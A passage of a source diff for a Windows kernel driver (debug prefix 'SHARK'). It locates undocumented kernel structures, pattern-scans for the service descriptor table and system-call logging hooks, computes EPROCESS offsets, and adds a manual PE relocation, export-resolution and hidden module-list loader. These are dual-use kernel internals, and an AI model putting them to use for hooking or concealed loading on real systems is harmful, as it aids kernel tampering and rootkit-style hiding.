KdDebuggerDataBlock->MmModifiedPageListHead); + /// vDbgPrint("[SHARK] < %p > MmModifiedNoWritePageListHead\n", KdDebuggerDataBlock->MmModifiedNoWritePageListHead); + /// vDbgPrint("[SHARK] < %p > MmAvailablePages\n", KdDebuggerDataBlock->MmAvailablePages); + /// vDbgPrint("[SHARK] < %p > MmResidentAvailablePages\n", KdDebuggerDataBlock->MmResidentAvailablePages); + /// vDbgPrint("[SHARK] < %p > PoolTrackTable\n", KdDebuggerDataBlock->PoolTrackTable); + /// vDbgPrint("[SHARK] < %p > NonPagedPoolDescriptor\n", KdDebuggerDataBlock->NonPagedPoolDescriptor); + /// vDbgPrint("[SHARK] < %p > MmHighestUserAddress\n", KdDebuggerDataBlock->MmHighestUserAddress); + /// vDbgPrint("[SHARK] < %p > MmSystemRangeStart\n", KdDebuggerDataBlock->MmSystemRangeStart); + /// vDbgPrint("[SHARK] < %p > MmUserProbeAddress\n", KdDebuggerDataBlock->MmUserProbeAddress); + /// vDbgPrint("[SHARK] < %p > KdPrintCircularBuffer\n", KdDebuggerDataBlock->KdPrintCircularBuffer); + /// vDbgPrint("[SHARK] < %p > KdPrintCircularBufferEnd\n", KdDebuggerDataBlock->KdPrintCircularBufferEnd); + /// vDbgPrint("[SHARK] < %p > KdPrintWritePointer\n", KdDebuggerDataBlock->KdPrintWritePointer); + /// vDbgPrint("[SHARK] < %p > KdPrintRolloverCount\n", KdDebuggerDataBlock->KdPrintRolloverCount); + /// vDbgPrint("[SHARK] < %p > MmLoadedUserImageList\n", KdDebuggerDataBlock->MmLoadedUserImageList); + /// vDbgPrint("[SHARK] < %p > NtBuildLab\n", KdDebuggerDataBlock->NtBuildLab); + /// vDbgPrint("[SHARK] < %p > KiNormalSystemCall\n", KdDebuggerDataBlock->KiNormalSystemCall); + /// vDbgPrint("[SHARK] < %p > KiProcessorBlock\n", KdDebuggerDataBlock->KiProcessorBlock); + /// vDbgPrint("[SHARK] < %p > MmUnloadedDrivers\n", KdDebuggerDataBlock->MmUnloadedDrivers); + /// vDbgPrint("[SHARK] < %p > MmLastUnloadedDriver\n", KdDebuggerDataBlock->MmLastUnloadedDriver); + /// vDbgPrint("[SHARK] < %p > MmTriageActionTaken\n", KdDebuggerDataBlock->MmTriageActionTaken); + /// vDbgPrint("[SHARK] < %p > MmSpecialPoolTag\n", KdDebuggerDataBlock->MmSpecialPoolTag); + /// vDbgPrint("[SHARK] < %p > KernelVerifier\n", KdDebuggerDataBlock->KernelVerifier); + /// vDbgPrint("[SHARK] < %p > MmVerifierData\n", KdDebuggerDataBlock->MmVerifierData); + /// vDbgPrint("[SHARK] < %p > MmAllocatedNonPagedPool\n", KdDebuggerDataBlock->MmAllocatedNonPagedPool); + /// vDbgPrint("[SHARK] < %p > MmPeakCommitment\n", KdDebuggerDataBlock->MmPeakCommitment); + /// vDbgPrint("[SHARK] < %p > MmTotalCommitLimitMaximum\n", KdDebuggerDataBlock->MmTotalCommitLimitMaximum); + /// vDbgPrint("[SHARK] < %p > CmNtCSDVersion\n", KdDebuggerDataBlock->CmNtCSDVersion); + /// vDbgPrint("[SHARK] < %p > MmPhysicalMemoryBlock\n", KdDebuggerDataBlock->MmPhysicalMemoryBlock); + /// vDbgPrint("[SHARK] < %p > MmSessionBase\n", KdDebuggerDataBlock->MmSessionBase); + /// vDbgPrint("[SHARK] < %p > MmSessionSize\n", KdDebuggerDataBlock->MmSessionSize); + /// vDbgPrint("[SHARK] < %p > MmSystemParentTablePage\n", KdDebuggerDataBlock->MmSystemParentTablePage); + /// vDbgPrint("[SHARK] < %p > MmVirtualTranslationBase\n", KdDebuggerDataBlock->MmVirtualTranslationBase); + // vDbgPrint("[SHARK] < %p > OffsetKThreadNextProcessor\n", KdDebuggerDataBlock->OffsetKThreadNextProcessor); + // vDbgPrint("[SHARK] < %p > OffsetKThreadTeb\n", KdDebuggerDataBlock->OffsetKThreadTeb); + // vDbgPrint("[SHARK] < %p > OffsetKThreadKernelStack\n", KdDebuggerDataBlock->OffsetKThreadKernelStack); + // vDbgPrint("[SHARK] < %p > OffsetKThreadInitialStack\n", KdDebuggerDataBlock->OffsetKThreadInitialStack); + // vDbgPrint("[SHARK] < %p > OffsetKThreadApcProcess\n", KdDebuggerDataBlock->OffsetKThreadApcProcess); + // vDbgPrint("[SHARK] < %p > OffsetKThreadState\n", KdDebuggerDataBlock->OffsetKThreadState); + // vDbgPrint("[SHARK] < %p > OffsetKThreadBStore\n", KdDebuggerDataBlock->OffsetKThreadBStore); + // vDbgPrint("[SHARK] < %p > OffsetKThreadBStoreLimit\n", KdDebuggerDataBlock->OffsetKThreadBStoreLimit); + // vDbgPrint("[SHARK] < %p > SizeEProcess\n", KdDebuggerDataBlock->SizeEProcess); + // vDbgPrint("[SHARK] < %p > OffsetEprocessPeb\n", KdDebuggerDataBlock->OffsetEprocessPeb); + // vDbgPrint("[SHARK] < %p > OffsetEprocessParentCID\n", KdDebuggerDataBlock->OffsetEprocessParentCID); + // vDbgPrint("[SHARK] < %p > OffsetEprocessDirectoryTableBase\n", KdDebuggerDataBlock->OffsetEprocessDirectoryTableBase); + // vDbgPrint("[SHARK] < %p > SizePrcb\n", KdDebuggerDataBlock->SizePrcb); + // vDbgPrint("[SHARK] < %p > OffsetPrcbDpcRoutine\n", KdDebuggerDataBlock->OffsetPrcbDpcRoutine); + // vDbgPrint("[SHARK] < %p > OffsetPrcbCurrentThread\n", KdDebuggerDataBlock->OffsetPrcbCurrentThread); + // vDbgPrint("[SHARK] < %p > OffsetPrcbMhz\n", KdDebuggerDataBlock->OffsetPrcbMhz); + // vDbgPrint("[SHARK] < %p > OffsetPrcbCpuType\n", KdDebuggerDataBlock->OffsetPrcbCpuType); + // vDbgPrint("[SHARK] < %p > OffsetPrcbVendorString\n", KdDebuggerDataBlock->OffsetPrcbVendorString); + // vDbgPrint("[SHARK] < %p > OffsetPrcbProcStateContext\n", KdDebuggerDataBlock->OffsetPrcbProcStateContext); + // vDbgPrint("[SHARK] < %p > OffsetPrcbNumber\n", KdDebuggerDataBlock->OffsetPrcbNumber); + // vDbgPrint("[SHARK] < %p > SizeEThread\n", KdDebuggerDataBlock->SizeEThread); + /// vDbgPrint("[SHARK] < %p > KdPrintCircularBufferPtr\n", KdDebuggerDataBlock->KdPrintCircularBufferPtr); + /// vDbgPrint("[SHARK] < %p > KdPrintBufferSize\n", KdDebuggerDataBlock->KdPrintBufferSize); + /// vDbgPrint("[SHARK] < %p > KeLoaderBlock\n", KdDebuggerDataBlock->KeLoaderBlock); + // vDbgPrint("[SHARK] < %p > SizePcr\n", KdDebuggerDataBlock->SizePcr); + // vDbgPrint("[SHARK] < %p > OffsetPcrSelfPcr\n", KdDebuggerDataBlock->OffsetPcrSelfPcr); + // vDbgPrint("[SHARK] < %p > OffsetPcrCurrentPrcb\n", KdDebuggerDataBlock->OffsetPcrCurrentPrcb); + // vDbgPrint("[SHARK] < %p > OffsetPcrContainedPrcb\n", KdDebuggerDataBlock->OffsetPcrContainedPrcb); + // vDbgPrint("[SHARK] < %p > OffsetPcrInitialBStore\n", KdDebuggerDataBlock->OffsetPcrInitialBStore); + // vDbgPrint("[SHARK] < %p > OffsetPcrBStoreLimit\n", KdDebuggerDataBlock->OffsetPcrBStoreLimit); + // vDbgPrint("[SHARK] < %p > OffsetPcrInitialStack\n", KdDebuggerDataBlock->OffsetPcrInitialStack); + // vDbgPrint("[SHARK] < %p > OffsetPcrStackLimit\n", KdDebuggerDataBlock->OffsetPcrStackLimit); + // vDbgPrint("[SHARK] < %p > OffsetPrcbPcrPage\n", KdDebuggerDataBlock->OffsetPrcbPcrPage); + // vDbgPrint("[SHARK] < %p > OffsetPrcbProcStateSpecialReg\n", KdDebuggerDataBlock->OffsetPrcbProcStateSpecialReg); + // vDbgPrint("[SHARK] < %p > GdtR0Code\n", KdDebuggerDataBlock->GdtR0Code); + // vDbgPrint("[SHARK] < %p > GdtR0Data\n", KdDebuggerDataBlock->GdtR0Data); + // vDbgPrint("[SHARK] < %p > GdtR0Pcr\n", KdDebuggerDataBlock->GdtR0Pcr); + // vDbgPrint("[SHARK] < %p > GdtR3Code\n", KdDebuggerDataBlock->GdtR3Code); + // vDbgPrint("[SHARK] < %p > GdtR3Data\n", KdDebuggerDataBlock->GdtR3Data); + // vDbgPrint("[SHARK] < %p > GdtR3Teb\n", KdDebuggerDataBlock->GdtR3Teb); + // vDbgPrint("[SHARK] < %p > GdtLdt\n", KdDebuggerDataBlock->GdtLdt); + // vDbgPrint("[SHARK] < %p > GdtTss\n", KdDebuggerDataBlock->GdtTss); + // vDbgPrint("[SHARK] < %p > Gdt64R3CmCode\n", KdDebuggerDataBlock->Gdt64R3CmCode); + // vDbgPrint("[SHARK] < %p > Gdt64R3CmTeb\n", KdDebuggerDataBlock->Gdt64R3CmTeb); + /// vDbgPrint("[SHARK] < %p > IopNumTriageDumpDataBlocks\n", KdDebuggerDataBlock->IopNumTriageDumpDataBlocks); + /// vDbgPrint("[SHARK] < %p > IopTriageDumpDataBlocks\n", KdDebuggerDataBlock->IopTriageDumpDataBlocks); + + if (Rtb->BuildNumber >= 10586) { + // vDbgPrint("[SHARK] < %p > PteBase\n", KdDebuggerDataAdditionBlock->PteBase); + } #endif // DEBUG + } __free(DumpHeader); } #ifndef _WIN64 - Block->OffsetKProcessThreadListHead = 0x2c; + Rtb->OffsetKProcessThreadListHead = 0x2c; - if (Block->BuildNumber < 9200) { - Block->OffsetKThreadThreadListEntry = 0x1e0; + if (Rtb->BuildNumber < 9200) { + Rtb->OffsetKThreadThreadListEntry = 0x1e0; } else { - Block->OffsetKThreadThreadListEntry = 0x1d4; + Rtb->OffsetKThreadThreadListEntry = 0x1d4; } #else - Block->OffsetKProcessThreadListHead = 0x30; - Block->OffsetKThreadThreadListEntry = 0x2f8; + Rtb->OffsetKProcessThreadListHead = 0x30; + Rtb->OffsetKThreadThreadListEntry = 0x2f8; #endif // !_WIN64 #ifndef _WIN64 @@ -471,20 +541,20 @@ InitializeGpBlock( PsLoadedModuleResource); if (NULL != ControlPc) { - Block->PsLoadedModuleResource = *(PERESOURCE *)(ControlPc + 3); + Rtb->PsLoadedModuleResource = *(PERESOURCE *)(ControlPc + 3); } RtlInitUnicodeString(&String, L"KeServiceDescriptorTable"); - Block->KeServiceDescriptorTable = MmGetSystemRoutineAddress(&String); + Rtb->KeServiceDescriptorTable = MmGetSystemRoutineAddress(&String); - NtSection = FindSection( - (ptr)Block->DebuggerDataBlock.KernBase, + NtSection = LdrFindSection( + (ptr)Rtb->DebuggerDataBlock.KernBase, ".text"); if (NULL != NtSection) { SectionBase = - (u8ptr)Block->DebuggerDataBlock.KernBase + NtSection->VirtualAddress; + (u8ptr)Rtb->DebuggerDataBlock.KernBase + NtSection->VirtualAddress; SizeToLock = max( NtSection->SizeOfRawData, @@ -496,15 +566,15 @@ InitializeGpBlock( PerfGlobalGroupMask); if (NULL != ControlPc) { - Block->PerfInfoLogSysCallEntry = ControlPc + 0xd; + Rtb->PerfInfoLogSysCallEntry = ControlPc + 0xd; RtlCopyMemory( - Block->KiSystemServiceCopyEnd, - Block->PerfInfoLogSysCallEntry, - sizeof(Block->KiSystemServiceCopyEnd)); + Rtb->KiSystemServiceCopyEnd, + Rtb->PerfInfoLogSysCallEntry, + sizeof(Rtb->KiSystemServiceCopyEnd)); - Block->PerfGlobalGroupMask = UlongToPtr(*(u32 *)(ControlPc + 4) - 8); -} + Rtb->PerfGlobalGroupMask = UlongToPtr(*(u32 *)(ControlPc + 4) - 8); + } } #else RtlInitUnicodeString(&String, L"KeCapturePersistentThreadState"); @@ -517,16 +587,16 @@ InitializeGpBlock( PsLoadedModuleResource); if (NULL != ControlPc) { - Block->PsLoadedModuleResource = (PERESOURCE)__rva_to_va(ControlPc + 3); + Rtb->PsLoadedModuleResource = (PERESOURCE)__rva_to_va(ControlPc + 3); } - NtSection = FindSection( - (ptr)Block->DebuggerDataBlock.KernBase, + NtSection = LdrFindSection( + (ptr)Rtb->DebuggerDataBlock.KernBase, ".text"); if (NULL != NtSection) { SectionBase = - (u8ptr)Block->DebuggerDataBlock.KernBase + NtSection->VirtualAddress; + (u8ptr)Rtb->DebuggerDataBlock.KernBase + NtSection->VirtualAddress; SizeToLock = max( NtSection->SizeOfRawData, @@ -538,8 +608,8 @@ InitializeGpBlock( KiSystemCall64); if (NULL != ControlPc) { - Block->KeServiceDescriptorTable = __rva_to_va(ControlPc + 23); - Block->KeServiceDescriptorTableShadow = __rva_to_va(ControlPc + 30); + Rtb->KeServiceDescriptorTable = __rva_to_va(ControlPc + 23); + Rtb->KeServiceDescriptorTableShadow = __rva_to_va(ControlPc + 30); ControlPc = ScanBytes( ControlPc, @@ -547,14 +617,14 @@ InitializeGpBlock( PerfGlobalGroupMask); if (NULL != ControlPc) { - Block->PerfInfoLogSysCallEntry = ControlPc + 0xa; + Rtb->PerfInfoLogSysCallEntry = ControlPc + 0xa; RtlCopyMemory( - Block->KiSystemServiceCopyEnd, - Block->PerfInfoLogSysCallEntry, - sizeof(Block->KiSystemServiceCopyEnd)); + Rtb->KiSystemServiceCopyEnd, + Rtb->PerfInfoLogSysCallEntry, + sizeof(Rtb->KiSystemServiceCopyEnd)); - Block->PerfGlobalGroupMask = __rva_to_va_ex(ControlPc + 2, 0 - sizeof(s32)); + Rtb->PerfGlobalGroupMask = __rva_to_va_ex(ControlPc + 2, 0 - sizeof(s32)); } } } @@ -566,23 +636,77 @@ InitializeGpBlock( if (NULL != ControlPc) { #ifndef _WIN64 - Block->OffsetKThreadProcessId = *(u32*)(ControlPc + 10); + Rtb->OffsetKThreadProcessId = *(u32*)(ControlPc + 10); #else - Block->OffsetKThreadProcessId = *(u32*)(ControlPc + 3); + Rtb->OffsetKThreadProcessId = *(u32*)(ControlPc + 3); #endif // !_WIN64 } - InitializeListHead(&Block->LoadedPrivateImageList); + InitializeListHead(&Rtb->LoadedModuleList); + + if (FALSE == IsListEmpty( + (PLIST_ENTRY)Rtb->DebuggerDataBlock.PsActiveProcessHead)) { + ActiveProcessEntry = + ((PLIST_ENTRY)Rtb->DebuggerDataBlock.PsActiveProcessHead)->Flink; + + while ((u)ActiveProcessEntry != + (u)Rtb->DebuggerDataBlock.PsActiveProcessHead) { + if ((u)PsGetCurrentThreadProcessId() == + __rduptr((u)ActiveProcessEntry - sizeof(u))) { + + Rtb->OffsetEProcessActiveProcessLinks = + (u)ActiveProcessEntry - (u)PsGetCurrentThreadProcess(); + + break; + } + + ActiveProcessEntry = ActiveProcessEntry->Flink; + } + } + + RtlInitUnicodeString(&String, L"ZwClose"); + + ControlPc = MmGetSystemRoutineAddress(&String); + + FirstLength = DetourGetInstructionLength(ControlPc); + + TargetPc = ControlPc + FirstLength; + + while (TRUE) { + Length = DetourGetInstructionLength(TargetPc); + + if (FirstLength == Length) { +#ifndef _WIN64 + if (0 == _cmpbyte(TargetPc[0], ControlPc[0]) && + 1 == *(u32ptr)&TargetPc[1] - *(u32ptr)&ControlPc[1]) { + Rtb->NameInterval = TargetPc - ControlPc; + + break; + } +#else + if (FirstLength == RtlCompareMemory( + TargetPc, + ControlPc, + FirstLength)) { + Rtb->NameInterval = TargetPc - ControlPc; + + break; + } +#endif // !_WIN64 + } + + TargetPc += Length; + } } -ULONG +u32 NTAPI -GetPlatform( - __in PVOID ImageBase +LdrGetPlatform( + __in ptr ImageBase ) { PIMAGE_NT_HEADERS NtHeaders = NULL; - ULONG Platform = 0; + u32 Platform = 0; NtHeaders = RtlImageNtHeader(ImageBase); @@ -593,15 +717,15 @@ GetPlatform( return Platform; } -PVOID +ptr NTAPI -GetAddressOfEntryPoint( - __in PVOID ImageBase +LdrGetEntryPoint( + __in ptr ImageBase ) { PIMAGE_NT_HEADERS NtHeaders = NULL; - ULONG Offset = 0; - PVOID EntryPoint = NULL; + u32 Offset = 0; + ptr EntryPoint = NULL; NtHeaders = RtlImageNtHeader(ImageBase); @@ -615,21 +739,21 @@ GetAddressOfEntryPoint( } if (0 != Offset) { - EntryPoint = (PCHAR)ImageBase + Offset; + EntryPoint = (u8ptr)ImageBase + Offset; } } return EntryPoint; } -ULONG +u32 NTAPI -GetTimeStamp( - __in PVOID ImageBase +LdrGetTimeStamp( + __in ptr ImageBase ) { PIMAGE_NT_HEADERS NtHeaders = NULL; - ULONG TimeStamp = 0; + u32 TimeStamp = 0; NtHeaders = RtlImageNtHeader(ImageBase); @@ -640,14 +764,14 @@ GetTimeStamp( return TimeStamp; } -USHORT +u16 NTAPI -GetSubsystem( - __in PVOID ImageBase +LdrGetSubsystem( + __in ptr ImageBase ) { PIMAGE_NT_HEADERS NtHeaders = NULL; - USHORT Subsystem = 0; + u16 Subsystem = 0; NtHeaders = RtlImageNtHeader(ImageBase); @@ -664,14 +788,14 @@ GetSubsystem( return Subsystem; } -ULONG +u32 NTAPI -GetSizeOfImage( - __in PVOID ImageBase +LdrGetSize( + __in ptr ImageBase ) { PIMAGE_NT_HEADERS NtHeaders = NULL; - ULONG SizeOfImage = 0; + u32 SizeOfImage = 0; NtHeaders = RtlImageNtHeader(ImageBase); @@ -691,22 +815,22 @@ GetSizeOfImage( PIMAGE_SECTION_HEADER NTAPI SectionTableFromVirtualAddress( - __in PVOID ImageBase, - __in PVOID Address + __in ptr ImageBase, + __in ptr Address ) { PIMAGE_NT_HEADERS NtHeaders = NULL; - ULONG Index = 0; - ULONG Offset = 0; + u32 Index = 0; + u32 Offset = 0; PIMAGE_SECTION_HEADER FoundSection = NULL; PIMAGE_SECTION_HEADER NtSection = NULL; - ULONG SizeToLock = 0; + u32 SizeToLock = 0; NtHeaders = RtlImageNtHeader(ImageBase); if (NULL != NtHeaders) { FoundSection = IMAGE_FIRST_SECTION(NtHeaders); - Offset = (ULONG)((ULONG_PTR)Address - (ULONG_PTR)ImageBase); + Offset = (u32)((u)Address - (u)ImageBase); for (Index = 0; Index < NtHeaders->FileHeader.NumberOfSections; @@ -729,31 +853,32 @@ SectionTableFromVirtualAddress( PIMAGE_SECTION_HEADER NTAPI -FindSection( - __in PVOID ImageBase, - __in PCSTR SectionName +LdrFindSection( + __in ptr ImageBase, + __in u8ptr SectionName ) { PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_SECTION_HEADER NtSection = NULL; PIMAGE_SECTION_HEADER FoundSection = NULL; - ULONG Index = 0; - ULONG Maximun = 0; + u32 Index = 0; + u32 Maximun = 0; + u8 Name[IMAGE_SIZEOF_SHORT_NAME] = { 0 }; + + strcpy_s(Name, IMAGE_SIZEOF_SHORT_NAME, SectionName); NtHeaders = RtlImageNtHeader(ImageBase); if (NULL != NtHeaders) { FoundSection = IMAGE_FIRST_SECTION(NtHeaders); - Maximun = min(strlen(SectionName), 8); - for (Index = 0; Index < NtHeaders->FileHeader.NumberOfSections; Index++) { if (0 == _strnicmp( FoundSection[Index].Name, - SectionName, - Maximun)) { + Name, + IMAGE_SIZEOF_SHORT_NAME)) { NtSection = &FoundSection[Index]; break; @@ -764,27 +889,147 @@ FindSection( return NtSection; } -NTSTATUS +FORCEINLINE +u32 +NTAPI +LdrGetRelocCount( + __in u32 SizeOfBlock +) +{ + u32 Count = 0; + + Count = (SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(u16); + + return Count; +} + +PIMAGE_BASE_RELOCATION +NTAPI +LdrRelocBlock( + __in ptr VA, + __in u32 Count, + __in u16ptr NextOffset, + __in s Diff +) +{ + u16ptr FixupVA = NULL; + u16 Offset = 0; + u16 Type = 0; + + while (Count--) { + Offset = *NextOffset & 0xfff; + FixupVA = (u8ptr)VA + Offset; + Type = (*NextOffset >> 12) & 0xf; + + switch (Type) { + case IMAGE_REL_BASED_ABSOLUTE: { + break; + } + + case IMAGE_REL_BASED_HIGH: { + FixupVA[1] += (u16)((Diff >> 16) & 0xffff); + break; + } + + case IMAGE_REL_BASED_LOW: { + FixupVA[0] += (u16)(Diff & 0xffff); + break; + } + + case IMAGE_REL_BASED_HIGHLOW: { + *(u32ptr)FixupVA += (u32)Diff; + break; + } + + case IMAGE_REL_BASED_HIGHADJ: { + FixupVA[0] += NextOffset[1] & 0xffff; + FixupVA[1] += (u16)((Diff >> 16) & 0xffff); + + ++NextOffset; + --Count; + break; + } + + case IMAGE_REL_BASED_MIPS_JMPADDR: + case IMAGE_REL_BASED_SECTION: + case IMAGE_REL_BASED_REL32: + // case IMAGE_REL_BASED_VXD_RELATIVE: + // case IMAGE_REL_BASED_MIPS_JMPADDR16: + + case IMAGE_REL_BASED_IA64_IMM64: { + break; + } + + case IMAGE_REL_BASED_DIR64: { + *(uptr)FixupVA += Diff; + break; + } + + default: { + return NULL; + } + } + + ++NextOffset; + } + + return (PIMAGE_BASE_RELOCATION)NextOffset; +} + +void NTAPI -FindEntryForKernelImage( +LdrRelocImage( + __in ptr ImageBase, + __in s Diff +) +{ + PIMAGE_BASE_RELOCATION RelocDirectory = NULL; + u32 Size = 0; + ptr VA = 0; + + RelocDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_BASERELOC, + &Size); + + if (0 != Size) { + if (0 != Diff) { + while (0 != Size) { + VA = (u8ptr)ImageBase + RelocDirectory->VirtualAddress; + Size -= RelocDirectory->SizeOfBlock; + + RelocDirectory = LdrRelocBlock( + VA, + LdrGetRelocCount(RelocDirectory->SizeOfBlock), + (u16ptr)(RelocDirectory + 1), + Diff); + } + } + } +} + +status +NTAPI +FindEntryForImage( __in PUNICODE_STRING ImageFileName, __out PKLDR_DATA_TABLE_ENTRY * DataTableEntry ) { - NTSTATUS Status = STATUS_NO_MORE_ENTRIES; + status Status = STATUS_NO_MORE_ENTRIES; PKLDR_DATA_TABLE_ENTRY FoundDataTableEntry = NULL; - GpBlock->KeEnterCriticalRegion(); - ExAcquireResourceExclusiveLite(GpBlock->PsLoadedModuleResource, TRUE); + RtBlock.KeEnterCriticalRegion(); + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); - if (FALSE == IsListEmpty(GpBlock->PsLoadedModuleList)) { + if (FALSE == IsListEmpty(RtBlock.PsLoadedModuleList)) { FoundDataTableEntry = CONTAINING_RECORD( - GpBlock->PsLoadedModuleList->Flink, + RtBlock.PsLoadedModuleList->Flink, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); - while ((ULONG_PTR)FoundDataTableEntry != - (ULONG_PTR)GpBlock->PsLoadedModuleList) { + while ((u)FoundDataTableEntry != + (u)RtBlock.PsLoadedModuleList) { if (FALSE != RtlEqualUnicodeString( ImageFileName, &FoundDataTableEntry->BaseDllName, @@ -801,35 +1046,60 @@ FindEntryForKernelImage( } } - ExReleaseResourceLite(GpBlock->PsLoadedModuleResource); - GpBlock->KeLeaveCriticalRegion(); + if (Status < 0) { + if (FALSE == IsListEmpty(&RtBlock.LoadedModuleList)) { + FoundDataTableEntry = CONTAINING_RECORD( + RtBlock.LoadedModuleList.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + + while ((u)FoundDataTableEntry != (u)&RtBlock.LoadedModuleList) { + if (FALSE != RtlEqualUnicodeString( + ImageFileName, + &FoundDataTableEntry->BaseDllName, + TRUE)) { + *DataTableEntry = FoundDataTableEntry; + Status = STATUS_SUCCESS; + break; + } + + FoundDataTableEntry = CONTAINING_RECORD( + FoundDataTableEntry->InLoadOrderLinks.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + } + } + } + + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + RtBlock.KeLeaveCriticalRegion(); return Status; } -NTSTATUS +status NTAPI -FindEntryForKernelImageAddress( - __in PVOID Address, +FindEntryForImageAddress( + __in ptr Address, __out PKLDR_DATA_TABLE_ENTRY * DataTableEntry ) { - NTSTATUS Status = STATUS_NO_MORE_ENTRIES; + status Status = STATUS_NO_MORE_ENTRIES; PKLDR_DATA_TABLE_ENTRY FoundDataTableEntry = NULL; - GpBlock->KeEnterCriticalRegion(); - ExAcquireResourceExclusiveLite(GpBlock->PsLoadedModuleResource, TRUE); + RtBlock.KeEnterCriticalRegion(); + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); - if (FALSE == IsListEmpty(GpBlock->PsLoadedModuleList)) { + if (FALSE == IsListEmpty(RtBlock.PsLoadedModuleList)) { FoundDataTableEntry = CONTAINING_RECORD( - (GpBlock->PsLoadedModuleList)->Flink, + (RtBlock.PsLoadedModuleList)->Flink, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); - while ((ULONG_PTR)FoundDataTableEntry != - (ULONG_PTR)GpBlock->PsLoadedModuleList) { - if ((ULONG_PTR)Address >= (ULONG_PTR)FoundDataTableEntry->DllBase && - (ULONG_PTR)Address < (ULONG_PTR)FoundDataTableEntry->DllBase + + while ((u)FoundDataTableEntry != + (u)RtBlock.PsLoadedModuleList) { + if ((u)Address >= (u)FoundDataTableEntry->DllBase && + (u)Address < (u)FoundDataTableEntry->DllBase + FoundDataTableEntry->SizeOfImage) { *DataTableEntry = FoundDataTableEntry; Status = STATUS_SUCCESS; @@ -843,8 +1113,1277 @@ FindEntryForKernelImageAddress( } } - ExReleaseResourceLite(GpBlock->PsLoadedModuleResource); - GpBlock->KeLeaveCriticalRegion(); + if (Status < 0) { + if (FALSE == IsListEmpty(&RtBlock.LoadedModuleList)) { + FoundDataTableEntry = CONTAINING_RECORD( + RtBlock.LoadedModuleList.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + + while ((u)FoundDataTableEntry != (u)&RtBlock.LoadedModuleList) { + if ((u)Address >= (u)FoundDataTableEntry->DllBase && + (u)Address < (u)FoundDataTableEntry->DllBase + + FoundDataTableEntry->SizeOfImage) { + *DataTableEntry = FoundDataTableEntry; + Status = STATUS_SUCCESS; + break; + } + + FoundDataTableEntry = CONTAINING_RECORD( + FoundDataTableEntry->InLoadOrderLinks.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + } + } + } + + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + RtBlock.KeLeaveCriticalRegion(); + + return Status; +} + +ptr +NTAPI +LdrForward( + __in cptr ForwarderData +) +{ + status Status = STATUS_SUCCESS; + cptr Separator = NULL; + cptr ImageName = NULL; + cptr ProcedureName = NULL; + u32 ProcedureNumber = 0; + ptr ProcedureAddress = NULL; + PKLDR_DATA_TABLE_ENTRY FoundDataTableEntry = NULL; + PLDR_DATA_TABLE_ENTRY DataTableEntry = NULL; + ANSI_STRING String = { 0 }; + UNICODE_STRING ImageFileName = { 0 }; + + Separator = strchr(ForwarderData, '.'); + + if (NULL != Separator) { + ImageName = __malloc(Separator - ForwarderData); + + if (NULL != ImageName) { + RtlCopyMemory( + ImageName, + ForwarderData, + Separator - ForwarderData); + + String.Buffer = ImageName; + String.Length = Separator - ForwarderData; + String.MaximumLength = Separator - ForwarderData; + + Status = RtlAnsiStringToUnicodeString( + &ImageFileName, + &String, + TRUE); + + if (TRACE(Status)) { + RtBlock.KeEnterCriticalRegion(); + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); + + if (FALSE == IsListEmpty(RtBlock.PsLoadedModuleList)) { + FoundDataTableEntry = CONTAINING_RECORD( + RtBlock.PsLoadedModuleList->Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + + while ((u)FoundDataTableEntry != + (u)RtBlock.PsLoadedModuleList) { + if (FALSE != RtlPrefixUnicodeString( + &ImageFileName, + &FoundDataTableEntry->BaseDllName, + TRUE)) { + DataTableEntry = FoundDataTableEntry; + Status = STATUS_SUCCESS; + + break; + } + + FoundDataTableEntry = CONTAINING_RECORD( + FoundDataTableEntry->InLoadOrderLinks.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + } + } + + if (Status < 0) { + if (FALSE == IsListEmpty(&RtBlock.LoadedModuleList)) { + FoundDataTableEntry = CONTAINING_RECORD( + RtBlock.LoadedModuleList.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + + while ((u)FoundDataTableEntry != (u)&RtBlock.LoadedModuleList) { + if (FALSE != RtlPrefixUnicodeString( + &ImageFileName, + &FoundDataTableEntry->BaseDllName, + TRUE)) { + DataTableEntry = FoundDataTableEntry; + Status = STATUS_SUCCESS; + + break; + } + + FoundDataTableEntry = CONTAINING_RECORD( + FoundDataTableEntry->InLoadOrderLinks.Flink, + KLDR_DATA_TABLE_ENTRY, + InLoadOrderLinks); + } + } + } + + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + RtBlock.KeLeaveCriticalRegion(); + + if (NT_SUCCESS(Status)) { + Separator += 1; + ProcedureName = Separator; + + if (Separator[0] != '@') { + ProcedureAddress = LdrGetSymbol( + DataTableEntry->DllBase, + ProcedureName, + 0); + } + else { + Separator += 1; + + if (RtlCharToInteger( + Separator, + 0, + &ProcedureNumber) >= 0) { + ProcedureAddress = LdrGetSymbol( + DataTableEntry->DllBase, + NULL, + ProcedureNumber); + } + } + } + + RtlFreeUnicodeString(&ImageFileName); + } + + __free(ImageName); + } + } + + return ProcedureAddress; +} + +ptr +NTAPI +LdrGetSymbol( + __in ptr ImageBase, + __in_opt cptr ProcedureName, + __in_opt u32 ProcedureNumber +) +{ + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + u32 Size = 0; + u32ptr NameTable = NULL; + u16ptr OrdinalTable = NULL; + u32ptr AddressTable = NULL; + cptr NameTableName = NULL; + u16 HintIndex = 0; + ptr ProcedureAddress = NULL; + + ExportDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_EXPORT, + &Size); + + if 